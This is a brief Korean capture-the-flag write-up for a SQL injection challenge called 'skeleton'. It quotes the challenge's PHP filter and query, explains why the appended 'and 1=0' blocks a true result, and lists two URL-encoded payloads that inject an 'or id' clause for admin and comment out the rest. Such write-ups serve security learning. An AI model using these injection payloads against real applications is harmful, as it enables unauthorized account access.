Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
if($result['id'] == 'admin') solve("skeleton");
result[id] 가 admin 일 시, 문제를 해결할 수 있다. 위의 코드에서 주의해서 봐야할 부분은 and 1=0이다. 1=0 이 아니기에, 그냥 두면 참이 될 수 없다. 그래서 아래와 같은 payload를 사용해 문제를 해결했다.
?pw=1%27%20or%20id%20like%20%27admin%27%23
?pw=1%27%20or%20id%20=%20%27admin%27%23